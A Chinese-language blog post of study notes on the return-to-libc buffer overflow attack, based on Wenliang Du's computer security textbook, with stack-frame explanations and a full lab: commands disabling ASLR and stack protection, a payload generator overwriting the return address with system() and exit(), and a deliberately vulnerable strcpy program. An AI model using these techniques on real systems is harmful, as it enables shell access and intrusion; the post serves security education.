Return to Libc Attack

前言

来源:《Computer Security》A Hands-on Approach — Wenliang Du

return2libc学习笔记

r2libc技术是一种缓冲区溢出利用技术,主要用于克服常规缓冲区溢出漏洞利用技术中面临的no stack executable限制(所以后续实验还是需要关闭系统的ASLR,以及堆栈保护),比如PaX和ExecShield安全策略。该技术主要是通过覆盖栈帧中保存的函数返回地址(eip),让其定位到libc库中的某个库函数(如,system等),而不是直接定位到shellcode。然后通过在栈中精心构造该库函数的参数,以便达到类似于执行shellcode的目的。

上面这段话,来自乌云备份文章。

这章的背景要求:程序在内存中的布局 、gdb调试之栈帧信息 、缓冲区溢出攻击


摘要和总结

在上一章中,我们利用缓冲区漏洞,将恶意代码shellcode附加在缓冲区的后面。通过覆盖返回地址,跳转到恶意代码,执行栈中的shellcode代码。但是,现在的操作系统已经作出防御,禁止栈中的数据作为代码执行。但是这个并没有关系,我们可以不在栈中执行程序,我们可以通过覆盖返回地址,执行已经在内存中存在的程序,比如说libc中的system函数。我们希望跳转之后,可以执行system("/bin/sh")。这个做法的难点是,在哪里放置"/bin/sh"的地址,作为system的参数。

这次实验环境如下(IA-32:Intel Architecture, 32-bit):

几个概念:x86、x86-64和IA-32、IA-64 --》我不太明白,我知道它是32位的。

Linux VM 4.8.0-36-generic #36~16.04.1-Ubuntu SMP Sun Feb 5 09:39:41 UTC 2017 i686 i686 i686 GNU/Linux

现在我们的环境,我不知道如何实现return-to-libc的攻击。因为参数的传递通过寄存器。这里介绍的参数传递还是通过压栈的方式。知识点有些陈旧。我们不妨,将它作为一次理解程序在内存中执行过程分析的体验。

虽然早已是64位,但是当年我还是学习王爽的那本汇编(16位),入门汇编语言,也是唯一一次学习汇编。

关于libc的概念可以参考:libc、glib、glibc简介

(ax --> eax —> rax)



函数的进入离开过程

详细的调试过程,可以看前言中的链接,“gdb调试之栈栈信息”。

这一章,在上一章的基础上,并没有难度。由于实在32位环境中实验,我们调试32位中的程序显示。

我这里稍微赘述下调用过程。Tips:没有给出调用着的准备工作。想看的自己调试。Not difficult.

/**
 * 使用gdb调试该程序,展示内存布局
*/
#include <stdio.h>

void func(int a,int b){
	int x,y;
	x = a + b;
	y = a - b;
}

int main(void){
	int x=0;
	int y=0;
	func(4,3);
	return 0;
}

函数,还是最简单的函数。

在这里插入图片描述


进入函数

我们可以看到它三步准备:

push ebp ;保存上一个栈栈
mov ebp,esp ;设置当前栈帧
sub esp,$N ;给local变量开辟部分内存

RA:指return address。

在这里插入图片描述


离开函数

leavel
ret

;在32位汇编下相当于
mov esp,ebp;
pop ebp
ret

在这里插入图片描述


Return to Libc Attack

我们需要做的是,用system的地址覆盖返回地址,在合适的位置填入“/bin/sh"字符串所在内存地址,这个合适的位置是system的参数地址。(这些地址具体位置,我们在下一节叙述,这里暂时默认为已知。我们先从方法上看如何实现。)

我们可以看到上面取出参数的位置是[ebp+8]。我当时站在ebp的角度来思考,结果半天没绕出来。

看了书后面的章节,从esp的角度来看,就相对而言比较容易了。

在这里插入图片描述

  1. 首先是离开函数,执行的是离开函数的操作。所以我们用system的函数地址覆盖return address = ebp+4。此时esp指向的位置如(b)图所示。

  2. 接着是进入一个函数,执行的是进入函数的操作。

    • push ebp,所以函数地址被ebp的内容覆盖; esp+4;
    • mov ebp,esp ,所以ebp的位置如图©所示;ebp+8是我们的参数位置,位置如圆圈1所示这个位置等于原来的ebp + 12
    • 圆圈2在现在ebp+4位置,是system的返回地址,原来ebp+8的位置可以用来设置exit。虽然我认为这个没什么用。
    • sub esp,$N  ;给local变量开辟部分内存
  3. 总结下缓冲区这些信息的覆盖位置

    • system的函数地址覆盖return address = ebp+4
    • 参数位置等于ebp + 12
    • ebp+8的位置,可以用exit函数的内存位置填充,作为返回地址


具体操作

我们关闭地址随机化,栈保护,开启栈不可执行。


获取system、exit地址

这些内容在动态库中,会映射到当前的进程地址空间中。至于如何映射的,我不知道。

在这里插入图片描述

顺便我们再看看system是如何获取参数,或许和书上内容不一样。

在这里插入图片描述

我推测参数,通过[esp+4]取到,也就是我们的参数填充位置,所以可以正常运行。

这里并没有push ebp操作,在<do_system>中进行操作。比较长,我仅仅截图出部分。

在这里插入图片描述


获取参数地址

我们通过export MYSHELL="/bin/sh",给添加环境变量。这个变量会传递给子进程的环境变量中。

我们在子进程中查看这个变量的地址。注意的是,程序名长度会影响"/bin/sh"的位置。所以我们可以用攻击程序的程序名来获取下变量地址。

/**
 * 查看环境变量的地址
 * break main | run | x /100s *((char **)environ)
*/

#include <stdio.h>
#include <stdlib.h>

int main(void){
    char *shell = getenv("MYSHELL");

    if(shell){
        printf("now env the char point size : %u\n",sizeof(char *));

        printf("MYSHELL IS %s\n",shell);

        //64位,不能用%x了
        printf("The address of MYSHELL 0x%lx\n", (unsigned long int)shell);
    }

    return 0;
}

生成badfile

/**
 * 用于生成buffer填充内容
 * stack.c中的buffer为100 char
 * bufer和缓冲区之间的距离:0x6c
 * system的地址是: 0xb7da4da0  --> 0x6c+4
 * exit的地址是:   0xb7d989d0  --> 0x6c+8
 * MYSHELL的地址是:0xbffffdd8  --> 0x6c+12
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(void){
    char buffer[200];

    /*填充的内容没有\0就好,我这里填充nop,虽然不执行*/
    memset(buffer,0x90,sizeof(buffer));

    *(long *)(buffer+0x6c+4) = 0xb7da4da0;
    *(long *)(buffer+0x6c+8) = 0xb7d989d0;
    *(long *)(buffer+0x6c+12) = 0xbffffdd8;

    FILE *badfile = fopen("badfile","w");
    if(!badfile){
        printf("cannt open badfile");
        exit(0);
    }

    fwrite(buffer,sizeof(char),sizeof(buffer),badfile);
    fclose(badfile);
    return 0;
}

执行Return to Libc Attack

/**
 * 用来演示缓冲区溢出攻击,return-to-libc:stack.c
 * 我们关闭地址随机化,栈保护,开启栈不可执行
 * sudo sysctl -w kernel.randomize_va_space=0
 * gcc -g -fno-stack-protector -z noexecstack -o stack stack.c
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void func(char *src){
    char buffer[100]={0};

    strcpy(buffer,src);
}


int main(void){

    char src[400]={0};

    FILE *badfile = fopen("badfile","r");
    if (!badfile){
        printf("no open badfile");
        return 0;
    }

    fread(src,sizeof(char),300,badfile);

    func(src);

    printf("return properly\n");
    return 0;    
}

执行成功如下所示:

在这里插入图片描述


参考文章

几个概念:x86、x86-64和IA-32、IA-64

libc、glib、glibc简介

return2libc学习笔记



评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

da1234cao

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值